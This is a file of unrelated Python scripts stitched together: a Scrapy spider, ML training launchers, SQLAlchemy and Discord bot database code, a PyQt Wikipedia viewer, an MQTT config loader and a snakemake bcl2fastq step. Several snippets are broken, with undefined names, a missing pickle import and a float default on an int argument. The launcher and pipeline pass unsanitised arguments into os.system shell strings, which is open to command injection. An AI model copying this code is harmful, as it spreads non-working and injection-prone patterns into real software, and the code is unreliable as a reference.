from scrapy.spiders.crawl import Rule, CrawlSpider
from scrapy.linkextractors import LinkExtractor
class ArticleSpider(scrapy.Spider):
    name="article"
    allowed_domains = ["en.wikipedia.org"]
    start_urls = ["http://en.wikipedia.org/wiki/Python_%28programming_language%29"]
    rules = [Rule(SgmlLinkExtractor(allow=('(/wiki/)((?!:).)*$'),),
                                   callback="parse_item", follow=True)]
    def parse_item(self, response):
        item = Article()
        title = response.xpath('//h1/text()')[0].extract()
        print("Title is: "+title)
        item['title'] = title
        return item


import sys, os
import argparse

parser = argparse.ArgumentParser(
    description='Train a new network on a data set')

# Compulsory command: python train.py data_directory
parser.add_argument('data_directory', action="store",type = str,help="Set a data directory to train the model on")

# Option 1 : Set directwersory to save checkpoints: python train.py data_dir --save_dir save_directory
parser.add_argument('--save_dir', action="store", type = str, dest = "save_dir", help="Set a directory to save the checkpoint")

# Option 2: Choose architecture: python train.py data_dir --arch "vgg13"
parser.add_argument('--arch', action="store", default = "models.vgg13", type = str, dest="model", help="Choose an architecture for the model like models.vgg16")

# Option 3: Set hyperparameters: python train.py data_dir --learning_rate 0.01 --hidden_units 512 --epochs 20
parser.add_argument('--learning_rate', action="store", default = 0.001, type = int, dest = "learning_rate", help="Choose a learning rate")
parser.add_argument('--hidden_units', action="store", default = 2000, type = int, dest="num_hidden_layers",help="Choose the number of hidden units")
parser.add_argument('--epochs', action="store", default = 1, type = int, dest="epochs_number", help="Choose the number of epochs")

# Option 4: Use GPU for training: python train.py data_dir --gpu
parser.add_argument('--gpu', action="store", default = "cuda", type = str, dest="device", help="Choose the device cuda or cpu")

results = parser.parse_args()
#print(parser.parse_args(['-a', '-bval', '-c', '3']))

print('checkpoint_dir= {!r}'.format(results.save_dir))
print('architecture_model= {!r}'.format(results.model))
print('learning_rate        = {!r}'.format(results.learning_rate))
print('hidden_units      = {!r}'.format(results.num_hidden_layers))
print('epochs = {!r}'.format(results.epochs_number))
print('gpu = {!r}'.format(results.device))

os.system("python3 model.py "+str(results.device)+" "+str(results.model)+" "+str(results.learning_rate)+" "+str(results.num_hidden_layers)+" "+str(results.epochs_number)+" "+str(sys.argv[1]))
# Print : Prints out training loss, validation loss, and validation accuracy as the network trains


from sqlalchemy import select
from db_models import CustomerTable, PersonTable
from linking_tables import CustomerPeopleLinking
from person import Person as p
from main import session

class Customers:
    @staticmethod
    def create_customer(person_id, is_guest):
        customer = CustomerTable(person_id=person_id, is_guest=is_guest)
        session.add_all([customer])
        session.commit()

    @staticmethod
    def update_is_guest_by_id(c_id, is_guest):
        customer_to_update = session.query(CustomerTable).filter(CustomerTable.customer_id == c_id).first()
        customer_to_update.is_guest = is_guest
        session.commit()

    @staticmethod
    def create_list_of_customers():
        results = session.query(CustomerTable).join(PersonTable, CustomerTable.person_id == PersonTable.person_id).all()
        return results

    @staticmethod
    def create_list_of_current_guests():
        statement = select(CustomerTable).join(PersonTable, CustomerTable.person_id == PersonTable.person_id) \
            .filter(CustomerTable.is_guest == 1)
        results = session.scalars(statement)
        return results

    @staticmethod
    def create_list_of_non_current_guests():
        statement = select(CustomerTable).join(PersonTable, CustomerTable.person_id == PersonTable.person_id) \
            .filter(CustomerTable.is_guest == 0)
        results = session.scalars(statement)
        return results

    @staticmethod
    def delete_customer_by_id(c_id):
        statement = select(CustomerTable).filter(CustomerTable.customer_id == c_id)
        results = session.scalars(statement)
        print('CUSTOMER: ', statement)
        for result in results:
            session.delete(result)
            print('<<<<<<<<<DELETED OBJECT>>>>>>>>>>')
        # session.commit()

        # statement = select(PersonTable).where(PersonTable.person_id == CustomerTable.person_id) \
        #     .filter(CustomerTable.customer_id == c_id)
        #
        # results = session.scalars(statement)
        # for result in results:
        #     print(f'<<<< PRINT RESULTS.FIRST: {result} >>>>>')

        # customer_id = statement.person_id

        # for customer in results:
        # p.check_if_valid(c_id)
        statement = select(CustomerTable.customer_id).where(PersonTable.person_id == CustomerTable.customer_id)
        results = session.scalars(statement)
        for result in results:
            print (result)

        # if not CustomerTable.is_guest:
        #     # first delete customer from customer table
        #     customer = session.query(CustomerTable).filter_by(customer_id=c_id).first()
        #     session.delete(customer)
        #     session.commit()
        #     # next delete customer from person table
        #
        #     session.delete(results)
        #     session.commit()
        #     # p.delete_person_by_id(CreatePerson).first()
        #
        # else:
        #     print(f'<<<< Cannot delete PERSON ID: {statement.person_id}  '
        #           f'Name: {results.first_name, results.last_name} they are currently a guest. >>>>')
        # print('PRINT RESULTS: ', results)
        # # results = Customer.create_list_of_customers()
        # # for customer in results:
        # #     print('customer: ', customer)

def test():
    # statement = select(Customer).join(CreatePerson, Customer.person_id == CreatePerson.person_id)\
    #     .filter(Customer.is_guest == 0)

    # Customers.create_customer(person_id=1, is_guest=0)
    # Customers.create_customer(person_id=2, is_guest=1)
    # Customers.create_customer(person_id=4, is_guest=1)
    # Customers.create_customer(person_id=5, is_guest=0)
    #
    # CustomerPeopleLinking.create_link(1,1)
    # CustomerPeopleLinking.create_link(2, 2)
    # CustomerPeopleLinking.create_link(3, 3)
    # CustomerPeopleLinking.create_link(4, 4)

    # results = Customers.create_list_of_non_current_guests()
    # print("<<<< Customer that are not Guests >>>>>")
    # for customer in results:
    #     print('Customer ID:', customer.customer_id, customer.person)
    #
    # results = Customers.create_list_of_current_guests()
    # print("<<<< Customer that are Guests >>>>>")
    # for customer in results:
    #     print('Customer ID:', customer.customer_id, customer.person)

    # Customer.delete_customer_by_id(2)
    # Customer.delete_customer_by_id(1)
    Customers.delete_customer_by_id(1)

    # results = p.create_list_of_all_people()
    # print('<<<< list of all people >>>>')
    # for customer in results:
    #     print('Customer ID:', customer.person_id, customer)

if __name__ == '__main__':
    test()


from discord.ext.commands import Context
from discord.ext import commands
import discord

from bot import Waifu

from inspect import Parameter
from datetime import datetime
import asyncio

class Tag(commands.Cog):

    def __init__(self, bot: Waifu):
        self.bot = bot

    @commands.group(invoke_without_command=True)
    async def tag(self, ctx: Context, *, name: lambda inp: inp.lower()):
        """Get a tag"""
        query = "SELECT * FROM tags WHERE guild_id = $1 AND title = $2"
        tag = await self.bot.con.fetchrow(query, ctx.guild.id, name)

        if tag is None:
            await ctx.message.delete(delay=10.0)
            message = await ctx.send('Could not find a tag with that name.')
            return await message.delete(delay=10.0)

        await ctx.send(tag['text'])
        await self.bot.con.execute("UPDATE tags SET uses = uses + 1 WHERE guild_id = $1 AND title = $2",
                                   ctx.guild.id, name)

    @tag.command()
    async def create(self, ctx: Context, name: lambda inp: inp.lower(), *, text: str = None):
        """Create a tag by providing a name and the content."""

        name = await commands.clean_content().convert(ctx=ctx, argument=name)
        query = "SELECT * FROM tags WHERE guild_id = $1 AND title = $2"
        tag = await self.bot.con.fetchrow(query, ctx.guild.id, name)

        if tag is not None:
            return await ctx.send('A tag with that name already exists.')

        if not text and not ctx.message.attachments:
            raise commands.MissingRequiredArgument(Parameter("text", Parameter.POSITIONAL_OR_KEYWORD))
        if not text:
            text = "\n".join([i.url for i in ctx.message.attachments])
        else:
            text = await commands.clean_content().convert(ctx=ctx, argument=text)

        insert_query = """INSERT INTO tags(guild_id, author_id, title, text, uses, created_at)
                          VALUES($1, $2, $3, $4, $5, $6)"""
        await self.bot.con.execute(insert_query, ctx.guild.id, ctx.author.id, name, text, 0, datetime.utcnow())
        await ctx.send('You have successfully created your tag.')

    @tag.command()
    async def info(self, ctx: Context, *, name: lambda inp: inp.lower()):
        """Get information regarding the specified tag."""
        query = """SELECT * FROM tags WHERE guild_id = $1 AND title = $2"""
        tag = await self.bot.con.fetchrow(query, ctx.guild.id, name)

        if tag is None:
            await ctx.message.delete(delay=10.0)
            return await ctx.send('Could not find a tag with that name.', delete_after=10)

        author = self.bot.get_user(tag['author_id'])
        author = str(author) if isinstance(author, discord.User) else f"(ID: {tag['author_id']})"

        info = discord.Embed(title=f"🏷 Tag: {tag['title']}", color=discord.Color.gold())
        info.add_field(name='Creator', value=author)
        info.add_field(name='Uses', value=tag['uses'])

        await ctx.send(embed=info)

    @tag.command()
    async def list(self, ctx: Context, *, member: discord.Member = None):
        """List your existing tags"""
        member = member or ctx.author
        query = """SELECT title FROM tags WHERE guild_id = $1 AND author_id = $2 ORDER BY title"""
        result = await self.bot.con.fetch(query, ctx.guild.id, member.id)

        if not result:
            return await ctx.send('No tags found.')

        await ctx.send(
            f"**{len(result)} tag{'s' * (len(result) > 1)} by {'you' if member == ctx.author else str(member)} found on this server.**"
        )

        pager = commands.Paginator()

        for record in result:
            pager.add_line(line=record["title"])

        for page in pager.pages:
            await ctx.send(page)

    @tag.command()
    async def delete(self, ctx: Context, *, name: lambda inp: inp.lower()):
        """Delete a tag."""
        query = """DELETE FROM tags WHERE guild_id = $1 AND title = $2"""
        await self.bot.con.execute(query, str(ctx.guild.id), name)
        await ctx.send("You have successfully deleted your tag.")

    @tag.command()
    async def all(self, ctx):
        """List all existing tags alphabetically ordered and sends them in DMs."""
        result = await self.bot.con.fetch(
            """SELECT title FROM tags WHERE guild_id = $1 ORDER BY title""",
            ctx.guild.id
        )
        if not result:
            return await ctx.send("This server doesn't have any tags.", delete_after=10)

        try:
            await ctx.author.send(f"***{len(result)} tag{'s' * (len(result) > 1)} found on this server.***")
        except discord.Forbidden:
            ctx.command.reset_cooldown(ctx)
            return await ctx.send("Could not dm you...", delete_after=10)

        pager = commands.Paginator()

        for record in result:
            pager.add_line(line=record["title"])

        for page in pager.pages:
            await asyncio.sleep(1)
            await ctx.author.send(page)

        await ctx.send("Tags sent in DMs.")

    @tag.command()
    async def edit(self, ctx: Context, name: lambda inp: inp.lower(), *, text: str):
        """Edit a tag"""
        text = await commands.clean_content().convert(ctx=ctx, argument=text)
        query = """SELECT * FROM tags WHERE guild_id = $1 AND title = $2"""
        tag = await self.bot.con.fetchrow(query, ctx.guild.id, name)

        if tag is None:
            await ctx.message.delete(delay=10.0)
            return await ctx.send('Could not find a tag with that name.', delete_after=10)

        if tag['author_id'] != ctx.author.id:
            owner = await self.bot.is_owner(ctx.author)
            if not owner:
                return await ctx.send("You don't have permission to do that.")

        update = "UPDATE tags SET text = $1 WHERE guild_id = $2 AND title = $3"
        await self.bot.con.execute(update, text, ctx.guild.id, name)
        await ctx.send('You have successfully edited your tag.')

    @tag.command()
    async def rename(self, ctx: Context, name: lambda inp: inp.lower(), *, new_name: lambda inp: inp.lower()):
        """Rename a tag."""

        new_name = await commands.clean_content().convert(ctx=ctx, argument=new_name)

        query = "SELECT * FROM tags WHERE guild_id = $1 AND title = $2"
        tag = await self.bot.con.fetchrow(query, ctx.guild.id, name)

        new_tag = await self.bot.con.fetchrow(query, ctx.guild.id, new_name)

        if new_tag is not None:
            return await ctx.send("A tag with that name already exists.")

        if tag is None:
            await ctx.message.delete(delay=10.0)
            return await ctx.send('Could not find a tag with that name.', delete_after=10)

        if tag['author_id'] != ctx.author.id:
            owner = await self.bot.is_owner(ctx.author)
            if not owner:
                return await ctx.send("You don't have permission to do that.")

        update = "UPDATE tags SET title = $1 WHERE guild_id = $2 AND title = $3"
        await self.bot.con.execute(update, new_name, ctx.guild.id, name)
        await ctx.send('You have successfully renamed your tag.')

    @tag.command()
    async def search(self, ctx: Context, *, term: str):
        """Search for a tag given a search term. PostgreSQL syntax must be used for the search."""
        query = """SELECT title FROM tags WHERE guild_id = $1 AND title LIKE $2 LIMIT 10"""
        result = await self.bot.con.fetch(query, ctx.guild.id, term)

        if not result:
            return await ctx.send("No tags found that has the term in it's name", delete_after=10)
        count = "Maximum of 10" if len(result) == 10 else len(result)
        tags = "\n".join(record["title"] for record in result)

        await ctx.send(
            f"**{count} tag{'s' * (len(result) > 1)} found with search term on this server.**```\n{tags}\n```"
        )

def setup(bot: Waifu):
    bot.add_cog(Tag(bot))


import pandas as pd

from sklearn.base import BaseEstimator, TransformerMixin

class TimeTransformer(BaseEstimator, TransformerMixin):

    def __init__(self, time_column, zone='America/New_York'):
        self.time_column = time_column
        self.zone = zone

    def transform(self, X, y=None):
        assert isinstance(X, pd.DataFrame)
        X.index = pd.to_datetime(X[self.time_column])
        X.index = X.index.tz_convert(self.zone)
        X["dow"] = X.index.weekday
        X["hour"] = X.index.hour
        X["month"] = X.index.month
        X["year"] = X.index.year
        return X[["dow", "hour", "month", "year"]].reset_index(drop=True)

    def fit(self, X, y=None):
        return self


from getmac import get_mac_address
import serial.tools.list_ports
import yaml
import pandas as pd
# Change Accordingly
mintsDefinitions          = yaml.load(open('mintsXU4/credentials/mintsDefinitions.yaml'),Loader=yaml.FullLoader)
# dataFolder                = mintsDefinitions['dataFolder']
# dataFolderReference       = mintsDefinitions['dataFolder'] + "/reference"
# dataFolderMQTTReference   = mintsDefinitions['dataFolder'] + "/referenceMqtt"  # The path of your MQTT Reference Data
# dataFolderMQTT            = mintsDefinitions['dataFolder'] + "/rawMqtt"        # The path of your MQTT Raw Data
tlsCert                   = mintsDefinitions['tlsCert']     # The path of your TLS cert

# latestOn                  = False

# mqttOn                    = True

credentialsFile           = 'mintsXU4/credentials/credentials.yaml'
credentials               = yaml.load(open(credentialsFile))

# sensorInfoFile            = 'mintsXU4/credentials/sensorIDs.yml'
sensorInfo                  = pd.read_csv('https://raw.githubusercontent.com/mi3nts/AirQualityAnalysisWorkflows/main/influxdb/nodered-docker/sensorIDs.csv')
print("Sensor Info: " + str(sensorInfo))

portInfo                  = pd.read_csv('https://raw.githubusercontent.com/mi3nts/AirQualityAnalysisWorkflows/main/influxdb/nodered-docker/portIDs.csv')
print("Port Info: " + str(portInfo))

nodeInfo                  = pd.read_csv('https://raw.githubusercontent.com/mi3nts/AirQualityAnalysisWorkflows/main/influxdb/nodered-docker/id_lookup.csv')
print("Node Info: " + str(nodeInfo))

# Add in AWS MQTT Credentials
mqttBrokerDC              = "mqtt.circ.utdallas.edu"
mqttBrokerLoRa            = "mqtt.lora.trecis.cloud"

mqttPortDC                = 8883  # Secure port
mqttPortLoRa              = 1883  # Secure port

print()
print("----- AWS Support -----")


from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
import sys
import wikipedia as wiki
from PyQt5.uic import loadUiType

ui,_=loadUiType('wisdom.ui')

class MainApp(QMainWindow,ui):
    def __init__(self):
        QMainWindow.__init__(self)
        self.title = 'Wisdom by t0xic0der'
        self.setupUi(self)
        self.handle_buttons()

    def handle_buttons(self):
        self.box_smry.setReadOnly(True)
        self.box_sgst.setReadOnly(True)
        self.box_cont.setReadOnly(True)
        self.btn_find.clicked.connect(self.fetch_data)
        self.btn_relt.clicked.connect(self.fetch_relt)
        self.btn_imgs.clicked.connect(self.fetch_imgs)
        self.btn_rfer.clicked.connect(self.fetch_rfer)
        self.btn_loca.clicked.connect(self.dsply_lang)
        self.btn_docs.clicked.connect(self.fetch_docs)
        self.btn_dnat.clicked.connect(self.fetch_dnat)

    def fetch_rfer(self):
        prdct = self.box_sear.text()
        try:
            self.tex_name.setText("References")
            srch_rslt=wiki.search(prdct)
            paej = wiki.page(srch_rslt[0])
            relt = self.formt_rfer(paej.references)
            self.box_cont.setPlainText(relt)
            self.head_cont.setText("References for '"+str(prdct)+"'")
            self.box_smry.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("A references page has no URL")
        except Exception as e:
            print(e)
            self.tex_name.setText("References")
            self.tex_name.setText("References - Failed to display content")
            self.tex_wiki.setText("  Your keywords were either modified or deleted")
            self.head_cont.setText("Failed to display the list of references")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

    def fetch_relt(self):
        prdct = self.box_sear.text()
        try:
            self.tex_name.setText("Related articles")
            srch_rslt=wiki.search(prdct)
            paej = wiki.page(srch_rslt[0])
            relt = self.formt_relt(paej.links)
            self.box_cont.setPlainText(relt)
            self.head_cont.setText("Related links for '"+str(prdct)+"'")
            self.box_smry.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An related articles page has no URL")
        except Exception as e:
            print(e)
            self.tex_name.setText("Related articles")
            self.tex_name.setText("Related links - Failed to display content")
            self.tex_wiki.setText("  Your keywords were either modified or deleted")
            self.head_cont.setText("Failed to display the list of related links")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

    def fetch_imgs(self):
        prdct = self.box_sear.text()
        try:
            self.tex_name.setText("Image sources")
            srch_rslt=wiki.search(prdct)
            paej = wiki.page(srch_rslt[0])
            imgs = self.formt_imgs(paej.images)
            self.box_cont.setPlainText(imgs)
            self.head_cont.setText("Image sources for '"+str(prdct)+"'")
            self.box_smry.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An image sources page has no URL")
        except Exception as e:
            print(e)
            self.tex_name.setText("Image sources")
            self.tex_name.setText("Image sources - Failed to display content")
            self.tex_wiki.setText("  Your keywords were either modified or deleted")
            self.head_cont.setText("Failed to display the list of image sources")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

    def fetch_dnat(self):
        try:
            self.tex_name.setText("Donate to Wikipedia")
            dnat="Wikipedia is one of the most visited websites in the world.\n\nCommerce is fine. Advertising is not evil. But it doesn't belong here. Not in Wikipedia.\n\nWikipedia is something special. It is like a library or a public park. It is like a temple for the mind. It is a place we can all go to think, to learn, to share our knowledge with others.\n\nWhen I founded Wikipedia, I could have made it into a for-profit company with advertising banners, but I decided to do something different. We’ve worked hard over the years to keep it lean and tight. We fulfill our mission efficiently.\n\nIf everyone reading this donated, our fundraiser would be done within an hour. But not everyone can or will donate. And that's fine. Each year just enough people decide to give.\n\nThis year, please consider making a donation of or whatever you can to protect and sustain Wikipedia.\n\nThanks,\n\nJimmy Wales\nWikipedia Founder "
            self.box_cont.setPlainText(dnat)
            self.box_smry.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.head_cont.setText("From Wikipedia founder Jimmy Wales")
            self.art_url_disp.setText("A donation page has no URL")
            wiki.donate()
        except Exception as e:
            self.tex_name.setText("Donate to Wikipedia")
            self.head_cont.setText("Failed to retrieve the donation link")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

    def dsply_lang(self):
        try:
            self.tex_name.setText("Supported languages")
            content="Wikipedia provides content in the following languages\n"
            list_of_languages=wiki.languages().values()
            for lenguiz in list_of_languages:
                content+=str(str(lenguiz)+"\n")
            self.box_cont.setPlainText(content)
            self.box_smry.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.head_cont.setText("Wisdom currently supports only English language")
            self.art_url_disp.setText("An language page has no URL")
        except Exception as e:
            self.tex_name.setText("Supported languages")
            self.head_cont.setText("Failed to retrieve the list of supported languages")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

    def fetch_docs(self):
        try:
            self.tex_name.setText("Documentation")
            docs="Documentation of the API used here can be found in the links provided below\n\nDocumentation\nhttps://wikipedia.readthedocs.io/en/latest/code.html#api\n\nQuickstart\nhttps://wikipedia.readthedocs.io/en/latest/quickstart.html#quickstart"
            self.box_cont.setPlainText(docs)
            self.box_smry.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.head_cont.setText("API Documentation")
            self.art_url_disp.setText("A documentation page has no URL")
        except Exception as e:
            self.tex_name.setText("Documentation")
            self.head_cont.setText("Failed to retrieve the documentation")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

    def fetch_abut(self):
        pass

    def dsply_back(self):
        pass

    def formt_sgst(self, array):
        sgst_strg="People also search for \n"
        for i in range(len(array)):
            sgst_strg+=str(array[i])
            if i!=(len(array)-1):
                sgst_strg+="\n"
        return sgst_strg

    def formt_relt(self, array):
        list_of_related="These are the links related \n"
        for i in range(len(array)):
            list_of_related+=str(array[i])
            if i!=(len(array)-1):
                list_of_related+="\n"
        return list_of_related

    def formt_rfer(self, array):
        list_of_references="These are the references used \n"
        for i in range(len(array)):
            list_of_references+=str(array[i])
            if i!=(len(array)-1):
                list_of_references+="\n"
        return list_of_references

    def formt_imgs(self, array):
        list_of_images="These are the image sources used \n"
        for i in range(len(array)):
            list_of_images+=str(array[i])
            if i!=(len(array)-1):
                list_of_images+="\n"
        return list_of_images

    def fetch_data(self):
        prdct = self.box_sear.text()
        try:
            srch_rslt=wiki.search(prdct)
            suggest=self.formt_sgst(srch_rslt)                              # Format list of suggestion using function
            summery=wiki.summary(srch_rslt[0])                              # Fetches summary of the given title
            self.box_smry.setPlainText(summery)                             # Sets summary on the box provided
            self.box_sgst.setPlainText(suggest)                             # Sets suggestion on the box provided
            paej=wiki.page(srch_rslt[0])                                    # Fetches the page data for the given title
            self.box_cont.setPlainText(paej.content)                        # Sets content from the fetched page on the box provided
            self.tex_name.setText(srch_rslt[0])                             # Sets title from the fetched page on the box provided
            self.head_cont.setText(srch_rslt[0])                            # Sets title from the fetched page on the box provided
            self.val_paid.setText(str(paej.parent_id))                      # Sets parent ID from the fetched page on the box provided
            self.val_reid.setText(str(paej.revision_id))                    # Sets revision ID from the fetched page on the box provided
            self.art_url_disp.setText("Visit "+paej.url+" for more")        # Sets URL from the fetched page on the box provided
            self.tex_wiki.setText("  From Wikipedia, the free encyclopedia")
        except wiki.PageError as e:
            print(e)
            self.tex_name.setText("Page Not Found - Keywords do not match any article")
            self.tex_wiki.setText("  Try refining your search string to match results")
            self.head_cont.setText("Keywords do not match any article")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")
        except wiki.DisambiguationError as e:
            print(e)
            self.tex_name.setText("Disambiguation - Too many results to choose from")
            self.tex_wiki.setText("  Try refining your search keyword to fetch particular results")
            self.head_cont.setText("There are way too many results!")
            self.box_cont.setPlainText("Seems like your search query was too generalised that it fetched multiple results. Do not fret for it happens with the best of us. Just pick any one from the suggestions provided on the right side to move forward or be a bit more specific about what you are looking for")
            self.box_smry.clear()
            self.box_sgst.clear()
            self.box_sgst.setPlainText(str(e))
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")
        except wiki.HTTPTimeoutError as e:
            print(e)
            self.tex_name.setText("HTTP Timeout - Taking too long to fetch results")
            self.tex_wiki.setText("  Please wait for sometime before trying again")
            self.head_cont.setText("Taking too long to fetch results")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")
        except wiki.WikipediaException as e:
            print(e)
            self.tex_name.setText("Aww snap! - It's not you, It is me")
            self.tex_wiki.setText("  We are experiencing problems at our end")
            self.head_cont.setText("It's not you, It is me")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")
        except:
            self.tex_name.setText("Processing Error - Unable to fetch results")
            self.tex_wiki.setText("  Check the keywords and your internet connection once")
            self.head_cont.setText("Unable to fetch results")
            self.box_smry.clear()
            self.box_cont.clear()
            self.box_sgst.clear()
            self.val_paid.setText("UNDEFINED")
            self.val_reid.setText("UNDEFINED")
            self.art_url_disp.setText("An errored page has no URL")

def main():
    app=QApplication(sys.argv)
    QFontDatabase.addApplicationFont("AkzidenzGroteskLight.ttf")
    window=MainApp()
    window.show()
    app.exec_()

if __name__ == '__main__':
    main()


import random
import timm
import torch
import train as t
import wandb
from config import Config_03_Train as config

if __name__ == "__main__":
    random.seed(config.seed)

    project_name = config.project_name

    # Check for GPU
    device = "cuda" if torch.cuda.is_available() else "cpu"
    print("Using {} device".format(device))

    ######################## PARAMS ###############################

    dropout = config.dropout
    l2 = config.l2
    lr = config.lr
    milestones = config.milestones
    lsmooth = config.lsmooth

    ######################## MODEL ###############################
    if project_name == 'BinaryClass':
        num_classes = 1
    elif project_name == 'MultiClass':
        num_classes = 3

    pretrain = True  # True
    model_name = config.model_name
    model = timm.create_model(model_name,
                              pretrained=pretrain,
                              num_classes=num_classes,
                              drop_rate=dropout)

    ######################### TRAINING #########################
    param_name = '_dropout=' + str(config.dropout) + '_l2=' + str(config.l2) + '_lr=' + str(
        config.lr) + '_milestones=' + str(config.milestones) + '_lsmooth_' + str(config.lsmooth)
    exp_name = config.project_name + param_name
    best_val_acc = t.training(device, project_name, exp_name, model_name, model, config.data_path,
                              config.txt_path + 'train.txt', config.txt_path + 'test.txt',
                              config.epochs, config.batch_size, lr, dropout, l2, milestones, lsmooth,
                              config.pos_weight, config.dim, pretrain)
    wandb.finish()


# Imports
import os
import pandas as pd
import logging
from bs4 import BeautifulSoup

# Init
logging.basicConfig(level=logging.INFO,
                    filename=snakemake.log[0],
                    format='%(message)s')

logging.getLogger().addHandler(logging.StreamHandler())

# Load run-specific data
scopID = snakemake.params[0]
comID_list = snakemake.params[1].split(',')
userID = snakemake.params[2]

# Functions
def unpackInfo(fname):
    tmp = open(path_tmp + fname, 'r').read().rstrip('\n')
    return(tmp)

# Directory vars
path_share = f'/projects/{userID}/COMUNEQAID/outs/{scopID}'
path_bcls  = f'{path_share}/scRNAseq/01_BCL'
path_fastq = f'{path_share}/scRNAseq/02_FASTQ'

for comID in comID_list:
    uniqueID = f'{scopID}_{comID}'
    path_tmp = f'/projects/{userID}/COMUNEQAID/manage-dir/tmp-data/{uniqueID}'
    path_sample_sheets = f'{path_tmp}/sample-sheets'

    # Run vars
    workflow    = unpackInfo('/tmp_workflow.txt')
    versionRNA    = unpackInfo('/tmp_versionRNA.txt')

    bcl_dict_path = open(f'{path_tmp}/pin-data-10x.pkl', 'rb')
    pinDict_10x = pickle.load(bcl_dict_path)
    bcl_dict_path.close()

    if (workflow == '10x + HTO'):
        bcl_dict_path = open(f'{path_tmp}/pin-data-hto.pkl', 'rb')
        pinDict_hto = pickle.load(bcl_dict_path)
        bcl_dict_path.close()

    ################################################################################
    ################################################################################
    ################################################################################

    print('#'*80)
    print('#####                                                                      #####')
    print('#####                      Demultiplexing FASTQ files                      #####')
    print('#####                                                       ** / *****     #####')
    print('#'*80)
    print('#####\n##')
    print('##\tDemultiplexing libraries:')

    for pin, (indices,seq_name) in pinDict_10x.items():

        print(f'##\t-\t{seq_name}')

        flowID = seq_name.split('_')[3][1:]

        dir_bcl = f'{path_bcls}/{seq_name}'
        sample_sheet = f'{path_sample_sheets}/samplesheet_{pin}.csv'
        dir_out = f'{path_fastq}/{seq_name}'

        if os.path.isfile(f'{dir_out}/interop_path/IndexMetricsOut.bin'):
            print('##\t-\tpipestance exists - skipping')

        else:
            with open(f'{dir_bcl}/RunParameters.xml', 'r') as f:
                tmp_xml = f.read()
                tmp_bea = BeautifulSoup(tmp_xml, "xml")

                tmp_R1 = tmp_bea.find('Read1NumberOfCycles').text
                tmp_R2 = tmp_bea.find('Read2NumberOfCycles').text
                tmp_I1 = tmp_bea.find('IndexRead1NumberOfCycles').text
                tmp_I2 = tmp_bea.find('IndexRead2NumberOfCycles').text

            os.system(f'mkdir -p {dir_out}')
            os.chdir(dir_out)

            if (versionRNA == 'RNA v3.0'):
                os.system(f'bcl2fastq --use-bases-mask=Y{tmp_R1},I{tmp_I1},Y{tmp_R2} \
                --create-fastq-for-index-reads \
                --minimum-trimmed-read-length=8 \
                --mask-short-adapter-reads=8 \
                --ignore-missing-positions \
                --ignore-missing-controls \
                --ignore-missing-filter \
                --ignore-missing-bcls \
                -r {snakemake.threads} -p {snakemake.threads} -w {snakemake.threads} -R {dir_bcl} \
                --output-dir=fastq-path \
                --interop-dir=interop_path \
                --sample-sheet={sample_sheet} \
                --barcode-mismatches=1 \
                --no-lane-splitting 2>&1 | tee logs/bcl2fastq.log -a')

            if (versionRNA == 'RNA v3.1'):
                os.system(f'bcl2fastq --use-bases-mask=Y{tmp_R1},I{tmp_I1},I{tmp_I2},Y{tmp_R2} \
                --create-fastq-for-index-reads \
                --minimum-trimmed-read-length=10 \
                --mask-short-adapter-reads=10 \
                --ignore-missing-positions \
                --ignore-missing-controls \
                --ignore-missing-filter \
                --ignore-missing-bcls \
                -r {snakemake.threads} -p {snakemake.threads} -w {snakemake.threads} -R {dir_bcl} \
                --output-dir=fastq-path \
                --interop-dir=interop_path \
                --sample-sheet={sample_sheet} \
                --barcode-mismatches=1 \
                --no-lane-splitting 2>&1 | tee logs/bcl2fastq.log -a')

    os.chdir(f'/projects/{userID}/COMUNEQAID/manage-dir')

    print('##\n###')
    print('#'*80)

os.system(f'touch {snakemake.output[0]}')


#!/usr/bin/env python
# coding: utf-8

# In[1]:

# import
from matplotlib import pyplot as plt
import pandas as pd

# In[2]:

file = pd.read_excel("KB_mike3.xlsx")
